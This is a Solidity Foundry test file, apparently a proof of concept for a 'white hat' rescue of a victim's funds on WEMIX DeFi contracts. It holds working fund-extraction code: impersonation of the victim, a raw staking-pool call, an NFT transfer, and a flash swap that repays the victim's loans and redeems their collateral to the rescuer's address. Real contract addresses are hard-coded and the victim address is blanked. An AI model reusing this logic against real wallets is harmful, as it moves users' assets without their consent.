|
// SPDX-License-Identifier: UNLICENSED |
|
pragma solidity ^0.8.13; |
|
|
|
import "forge-std/Test.sol"; |
|
|
|
interface CEther { |
|
function redeemUnderlyingMax() external; |
|
function balanceOf(address) external returns (uint256); |
|
function repayBorrowBehalf(address borrower) external payable; |
|
function borrowBalanceCurrent(address) external returns (uint256); |
|
function approve(address spender, uint256 amount) external; |
|
function transferFrom(address, address, uint256) external; |
|
} |
|
|
|
interface CErc20 { |
|
function redeemUnderlyingMax() external; |
|
function balanceOf(address) external returns (uint256); |
|
function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256); |
|
function borrowBalanceCurrent(address) external returns (uint256); |
|
function approve(address spender, uint256 amount) external; |
|
function transferFrom(address, address, uint256) external; |
|
} |
|
|
|
interface ERC20 { |
|
function balanceOf(address) external returns (uint256); |
|
function transfer(address, uint256) external; |
|
function approve(address, uint256) external; |
|
function withdraw(uint256) external; |
|
function deposit() external payable; |
|
} |
|
|
|
interface ERC721 { |
|
function transferFrom(address from, address to, uint256 tokenId) external; |
|
} |
|
|
|
interface weSwap { |
|
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external; |
|
function getReserves() external view returns (uint256, uint256); |
|
} |
|
|
|
interface stakingPool { |
|
function withdraw(uint256, uint256, address) external; |
|
function claim(uint256, address) external; |
|
} |
|
|
|
// block number : 23956736 |
|
|
|
contract PoCTest is Test { |
|
CEther cWEMIX; |
|
CErc20 cWEMIX$; |
|
|
|
ERC20 WEMIX$; |
|
ERC20 WWEMIX; |
|
ERC721 NCP_NFT; |
|
|
|
address VICTIM; |
|
address CHAINLIGHT_ADDR; |
|
|
|
stakingPool NCP_STAKING; |
|
WhiteHatCollateral WHITEHAT; |
|
|
|
function setUp() public { |
|
VICTIM = address() // private for privacy reasons |
|
cWEMIX = CEther(0x34b9B18fDBE2aBC6DfB41A7f6d39B5E511ce3e23); |
|
cWEMIX$ = CErc20(0x04dC57f9675e9a620f2566eAE20d44ACDa890802); |
|
WEMIX$ = ERC20(0x8E81fCc2d4A3bAa0eE9044E0D7E36F59C9BbA9c1); |
|
WWEMIX = ERC20(0x7D72b22a74A216Af4a002a1095C8C707d6eC1C5f); |
|
CHAINLIGHT_ADDR = address(0xB49bf876BE26435b6fae1Ef42C3c82c5867Fa149); |
|
NCP_NFT = ERC721(0x1C1eD327bC7Ce9a7eEF9eCB120576055e43b30d8); |
|
NCP_STAKING = stakingPool(0x6Af09e1A3c886dd8560bf4Cabd65dB16Ea2724D8); |
|
|
|
vm.prank(CHAINLIGHT_ADDR); |
|
WHITEHAT = new WhiteHatCollateral(); |
|
} |
|
|
|
function testWhiteHatStaking() public { |
|
vm.startPrank(VICTIM); |
|
(bool s, bytes memory data) = address(NCP_STAKING).call( |
|
hex"e4e09818000000000000000000000000000000000000000000000000000000000000002900000000000000000000000000000000000000000000000000000000000000290000000000000000000000000000000000000000000001454e475a06fec90000000000000000000000000000c416c31e4ac1914c71e2f40030e2a4873fbbd66100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000" |
|
); |
|
|
|
NCP_NFT.transferFrom(VICTIM, CHAINLIGHT_ADDR, 997); |
|
vm.stopPrank(); |
|
|
|
vm.startPrank(CHAINLIGHT_ADDR); |
|
vm.roll(block.number + 7 * 3600 * 24 + 1); |
|
vm.warp(block.timestamp + 7 * 3600 * 24 + 1); |
|
NCP_STAKING.withdraw(41, 997, CHAINLIGHT_ADDR); |
|
|
|
console.log("Rescued WEMIX: ", CHAINLIGHT_ADDR.balance); |
|
} |
|
|
|
function testWhiteHatCollateral() public { |
|
console.log("Number of WEMIX required: ", cWEMIX.borrowBalanceCurrent(VICTIM)); |
|
console.log("Number of WEMIX$ required: ", cWEMIX$.borrowBalanceCurrent(VICTIM)); |
|
|
|
vm.startPrank(VICTIM); |
|
cWEMIX.approve(address(WHITEHAT), type(uint256).max); |
|
vm.stopPrank(); |
|
|
|
vm.prank(CHAINLIGHT_ADDR); |
|
WHITEHAT.whitehatXMXMXMXMXMXM123123213123123213123(); |
|
|
|
console.log("Rescued WEMIX: ", CHAINLIGHT_ADDR.balance); |
|
} |
|
} |
|
|
|
contract WhiteHatCollateral { |
|
CEther cWEMIX; |
|
CErc20 cWEMIX$; |
|
|
|
ERC20 WEMIX$; |
|
ERC20 WWEMIX; |
|
|
|
address VICTIM; |
|
address WHITEHAT_ADDR; |
|
|
|
weSwap WEMIX_WEMIX$_PAIR; |
|
|
|
constructor() { |
|
WHITEHAT_ADDR = msg.sender; |
|
|
|
VICTIM = address(); // private for privacy reasons |
|
cWEMIX = CEther(0x34b9B18fDBE2aBC6DfB41A7f6d39B5E511ce3e23); |
|
cWEMIX$ = CErc20(0x04dC57f9675e9a620f2566eAE20d44ACDa890802); |
|
WEMIX$ = ERC20(0x8E81fCc2d4A3bAa0eE9044E0D7E36F59C9BbA9c1); |
|
WWEMIX = ERC20(0x7D72b22a74A216Af4a002a1095C8C707d6eC1C5f); |
|
|
|
WEMIX_WEMIX$_PAIR = weSwap(0x00caEc2e118AbC4c510440A8D1ac8565Fec0180C); |
|
} |
|
|
|
uint256 repay; |
|
|
|
function whitehatXMXMXMXMXMXM123123213123123213123() external { |
|
require(WHITEHAT_ADDR == msg.sender); |
|
|
|
uint256 outWemix$ = cWEMIX$.borrowBalanceCurrent(VICTIM); |
|
(uint256 reserveA, uint256 reserveB) = WEMIX_WEMIX$_PAIR.getReserves(); |
|
uint256 outWemix = cWEMIX.borrowBalanceCurrent(VICTIM); |
|
|
|
uint256 numerator = (reserveA) * outWemix$ * 10000; |
|
uint256 denominator = (reserveB - outWemix$) * 9975; |
|
repay = (numerator / denominator) + 1 + (outWemix * 10030 / 10000); |
|
|
|
WEMIX_WEMIX$_PAIR.swap(outWemix, outWemix$, address(this), hex"11"); |
|
} |
|
|
|
function weswapV2Call(address from, uint256 amount0Out, uint256 amount1Out, bytes memory data) external { |
|
WWEMIX.withdraw(amount0Out); |
|
cWEMIX.repayBorrowBehalf{value: cWEMIX.borrowBalanceCurrent(VICTIM)}(VICTIM); |
|
|
|
WEMIX$.approve(address(cWEMIX$), type(uint256).max); |
|
cWEMIX$.repayBorrowBehalf(VICTIM, WEMIX$.balanceOf(address(this))); |
|
|
|
cWEMIX.transferFrom(VICTIM, address(this), cWEMIX.balanceOf(VICTIM)); |
|
|
|
cWEMIX.redeemUnderlyingMax(); |
|
|
|
WWEMIX.deposit{value: repay}(); |
|
WWEMIX.transfer(address(msg.sender), repay); |
|
|
|
WHITEHAT_ADDR.call{value: address(this).balance}(""); |
|
} |
|
|
|
receive() external payable {} |
|
} |